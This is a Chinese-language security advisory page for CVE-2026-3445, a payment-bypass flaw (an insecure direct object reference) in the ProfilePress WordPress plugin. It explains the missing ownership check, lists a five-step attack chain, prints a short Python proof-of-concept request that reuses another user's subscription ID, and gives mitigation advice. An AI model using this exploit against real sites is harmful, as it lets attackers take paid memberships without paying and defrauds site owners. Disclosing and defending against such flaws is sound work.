IPBUF安全漏洞报告
English
CVE-2026-3445 CVSS 7.1 高危

CVE-2026-3445 ProfilePress插件支付绕过漏洞

披露日期: 2026-04-04

漏洞信息

漏洞编号
CVE-2026-3445
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProfilePress WordPress Plugin

相关标签

权限绕过WordPress插件逻辑漏洞支付绕过ProfilePressCVE-2026-3445IDOR

漏洞概述

WordPress的ProfilePress插件(付费会员、电商等插件)在所有4.16.11及以下版本中存在严重的逻辑漏洞。该漏洞源于`process_checkout()`函数中缺少对`change_plan_sub_id`参数的所有权验证。这允许经过身份验证的攻击者(订阅者级别及以上)在结账过程中引用其他用户的活跃订阅。通过操纵按比例计算逻辑,攻击者可以利用`ppress_process_checkout` AJAX操作,无需支付即可获取付费的终身会员计划。

技术细节

该漏洞的核心原理是不安全的直接对象引用(IDOR)与业务逻辑缺陷的结合。在插件处理会员计划变更的结账流程中,`process_checkout()`函数接收用户提交的`change_plan_sub_id`参数,该参数代表用于计算价差的旧订阅ID。然而,代码逻辑未验证当前登录用户是否为该订阅ID的合法持有者。

攻击者首先注册一个低权限账号,然后构造特定的AJAX请求发送给`/wp-admin/admin-ajax.php`。在请求中,攻击者将`change_plan_sub_id`设置为目标管理员或其他高级用户的有效订阅ID。由于系统误以为攻击者正在从该高级订阅进行“变更”或“升级”,按比例退款或升级计算逻辑会基于该高级订阅的状态执行。通过精心构造请求,攻击者可以将应付金额调整为0或负数,从而绕过支付环节,直接获得付费会员资格。

攻击链分析

STEP 1
侦察
识别目标WordPress站点是否安装了ProfilePress插件且版本低于等于4.16.11。
STEP 2
初始访问
攻击者在目标站点注册一个普通用户账号(订阅者级别)。
STEP 3
枚举
猜测或通过其他方式获取一个有效的、活跃的高级会员订阅ID(change_plan_sub_id)。
STEP 4
漏洞利用
攻击者向`wp-admin/admin-ajax.php`发送POST请求,调用`ppress_process_checkout`动作,并在参数中注入窃取的订阅ID,触发按比例计算逻辑漏洞。
STEP 5
达成目标
系统处理请求后,攻击者的账号被升级为付费终身会员,且无需实际支付费用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: ProfilePress <= 4.16.11 - Membership Payment Bypass # Description: Authenticated users can bypass payment by referencing another user's subscription ID. target_url = "https://example.com/wp-admin/admin-ajax.php" # Attacker's cookie (Must be a logged-in user, e.g., subscriber) attacker_cookie = { "wordpress_logged_in_12345": "attacker_session_token_here" } # Vulnerable payload # 'change_plan_sub_id' should be a valid subscription ID belonging to another user (e.g., admin) payload = { "action": "ppress_process_checkout", "plan_id": "3", "change_plan_sub_id": "55", "gateway": "manual" } response = requests.post(target_url, data=payload, cookies=attacker_cookie) if response.status_code == 200: print("[+] Request sent successfully. Check if membership was upgraded.") print("[+] Response:", response.text) else: print("[-] Failed to send request.")

影响范围

ProfilePress WordPress Plugin <= 4.16.11

防御指南

临时缓解措施
在未升级插件之前,建议暂时禁用ProfilePress插件的会员升级或结账功能。管理员应定期审查后台会员列表,检查是否存在异常的免费升级记录或来源不明的终身会员账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表